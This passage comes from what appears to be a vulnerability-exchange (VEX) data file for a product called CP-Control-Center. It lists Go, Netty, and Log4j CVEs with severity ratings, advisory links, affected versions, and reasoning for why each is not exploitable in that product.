"id": "CVE-2026-46597", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 704 ], "description": "An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-46597" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-46597" }, { "url": "https://go.dev/cl/781620" }, { "url": "https://go.dev/issue/79561" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46597" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5013" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-46597" } ], "published": "2026-05-22T04:16:26+00:00", "updated": "2026-07-23T16:10:00+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-46598", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "cwes": [ 129 ], "description": "For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-46598" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-46598" }, { "url": "https://go.dev/cl/781360" }, { "url": "https://go.dev/issue/79596" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46598" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5033" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-46598" } ], "published": "2026-05-22T04:16:26+00:00", "updated": "2026-07-23T16:10:00+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-46600", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "bitnami" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 125 ], "description": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.", "recommendation": "Upgrade golang.org/x/net to version 0.56.0; Upgrade stdlib to version 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-46600" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-46600" }, { "url": "https://go.dev/cl/786345" }, { "url": "https://go.dev/issue/79795" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46600" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5942" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-46600" } ], "published": "2026-07-21T20:17:01+00:00", "updated": "2026-08-14T16:16:55+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/net@v0.55.0", "versions": [ { "version": "v0.55.0", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/net@v0.55.0", "versions": [ { "version": "v0.55.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/net@v0.55.0", "versions": [ { "version": "v0.55.0", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/net@v0.55.0", "versions": [ { "version": "v0.55.0", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/net@v0.55.0", "versions": [ { "version": "v0.55.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/net@v0.55.0", "versions": [ { "version": "v0.55.0", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/net@v0.55.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/net@v0.55.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/golang.org/x/net@v0.55.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-47244", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "cwes": [ 400 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, DefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-codec-http2 to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-47244" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-47244" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-5x3r-wrvg-rp6q" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47244" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-47244" } ], "published": "2026-06-12T15:16:29+00:00", "updated": "2026-06-17T10:54:25+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. no attacker-facing netty HTTP/2 server is wired in a standard deployment (the ce-kafka netty HTTP/2 path is Confluent Cloud proxy / cluster-link client infrastructure gated by proxy-protocol config; ksqlDB's Vert.x server defaults maxConcurrentStreams=100), so the unbounded-streams DoS is not reachable." } }, { "id": "CVE-2026-47691", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 8.7, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N" }, { "source": { "name": "nvd" }, "score": 10, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 8.7, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N" } ], "cwes": [ 345, 346 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key. This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under the parent domain's key. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-resolver-dns to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-47691" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26017" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26018" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26586" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34608" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49700" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49701" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50085" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53806" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-47691" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488439" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-5pvg-856g-cp85" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47691" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47691.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-47691" } ], "published": "2026-06-12T16:16:30+00:00", "updated": "2026-09-02T13:17:57+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-resolver-dns@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-resolver-dns@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. netty's DNS resolver (DnsAddressResolverGroup / DnsNameResolver) is never instantiated; name resolution uses the JVM resolver, so the vulnerable NS-record path is not reachable." } }, { "id": "CVE-2026-48043", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400, 401, 772 ], "description": "Netty is a network application framework for development of protocol servers and clients. In netty-codec-http2 prior to versions 4.1.135.Final and 4.2.15.Final, the `DelegatingDecompressorFrameListener` class orchestrates HTTP/2 decompression by embedding a per-stream `EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled `ByteBuf` handed to an anonymous `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner responsible for releasing it. A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-48043" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26017" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26018" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26586" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34608" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36820" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48124" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50085" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53806" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-48043" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488442" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-c2gf-v879-257j" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48043" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48043.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-48043" } ], "published": "2026-06-12T16:16:30+00:00", "updated": "2026-09-02T13:17:58+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. no attacker-facing netty HTTP/2 server with gzip decompression is wired in a standard deployment (netty HTTP/2 is Confluent Cloud proxy / cluster-link infrastructure), so the refcount-leak memory-exhaustion path is not reachable." } }, { "id": "CVE-2026-49844", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "nvd" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "cwes": [ 116 ], "description": "Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. This issue affects Apache Log4j API versions 2.13.1 through 2.25.4 and version 2.26.0.\n\nThe fix for CVE-2026-34481 did not cover all code paths: when a MapMessage contains a non-finite IEEE 754 value (NaN, Infinity, or -Infinity), MapMessage.asJson() emits the corresponding bare token. RFC 8259 does not permit these tokens, so a conformant parser rejects the resulting document.\n\nThe defect is reachable only when both of the following conditions hold:\n\n * The application uses the message resolver https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message of JsonTemplateLayout or any other layout that relies on MapMessage.asJson() or MapMessage.getFormattedMessage(new String[]{\"JSON\"}).\n * The application logs a MapMessage that contains an attacker-controlled floating-point value.\n\n\nAn attacker who can supply a non-finite value can cause the affected layout to emit malformed JSON, which may corrupt the enclosing log record or disrupt downstream log ingestion and parsing.\n\nUsers are advised to upgrade to Apache Log4j API 2.25.5 or 2.26.1, both of which emit RFC 8259-compliant JSON for non-finite values.", "recommendation": "Upgrade org.apache.logging.log4j:log4j-api to version 2.25.5, 2.26.1", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-49844" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-49844" }, { "url": "https://github.com/apache/logging-log4j2" }, { "url": "https://github.com/apache/logging-log4j2/commit/19edb23e162d6c728a8c2221a240037d389ed300" }, { "url": "https://github.com/apache/logging-log4j2/commit/feadf8eb0b4acb6ddfa4c0ab2bbc6d88b8e12d82" }, { "url": "https://github.com/apache/logging-log4j2/pull/4163" }, { "url": "https://github.com/apache/logging-log4j2/releases/tag/rel/2.25.5" }, { "url": "https://github.com/apache/logging-log4j2/releases/tag/rel/2.26.1" }, { "url": "https://logging.apache.org/cyclonedx/vdr.xml" }, { "url": "https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message" }, { "url": "https://logging.apache.org/security.html#CVE-2026-49844" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49844" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-49844" } ], "published": "2026-07-10T22:16:42+00:00", "updated": "2026-07-14T20:03:09+00:00", "affects": [ { "ref": "pkg:maven/org.apache.logging.log4j/log4j-api@2.25.4", "versions": [ { "version": "2.25.4", "status": "affected" } ] }, { "ref": "pkg:maven/org.apache.logging.log4j/log4j-api@2.25.4", "versions": [ { "version": "2.25.4", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.apache.logging.log4j/log4j-api@2.25.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.apache.logging.log4j/log4j-api@2.25.4" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves log4j-api live to the fixed 2.25.5 and the MapMessage/JsonTemplateLayout sink is absent from its source anyway, while control-center-fe has no log4j dependency at all as it is pure JS/TS." } }, { "id": "CVE-2026-50010", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], "cwes": [ 347 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-handler to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-50010" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26017" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26018" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26586" }, { "url": "https://access.redhat.com/errata/RHSA-2026:28573" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34608" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37390" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49700" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49701" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50085" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53806" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-50010" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488429" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50010.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-50010" } ], "published": "2026-06-12T16:16:31+00:00", "updated": "2026-09-02T13:17:59+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-handler@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-handler@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-handler@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-handler@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-handler@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-handler@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. TLS hostname verification is enforced through the JSSE endpoint-identification algorithm (HTTPS) on the SSLEngine/SSLParameters, not through netty's trust-manager wrapping, so the silent hostname-verification-bypass path is not reached." } }, { "id": "CVE-2026-50020", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" } ], "cwes": [ 444 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, before reading the first request-line, `HttpObjectDecoder` skips every byte for which `Character.isISOControl(b)` is `true` (0x00\u20130x1F and 0x7F) as well as all whitespace. RFC 9112 \u00a72.2 only asks servers to ignore empty CRLF lines preceding the request-line \u2014 a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes significantly 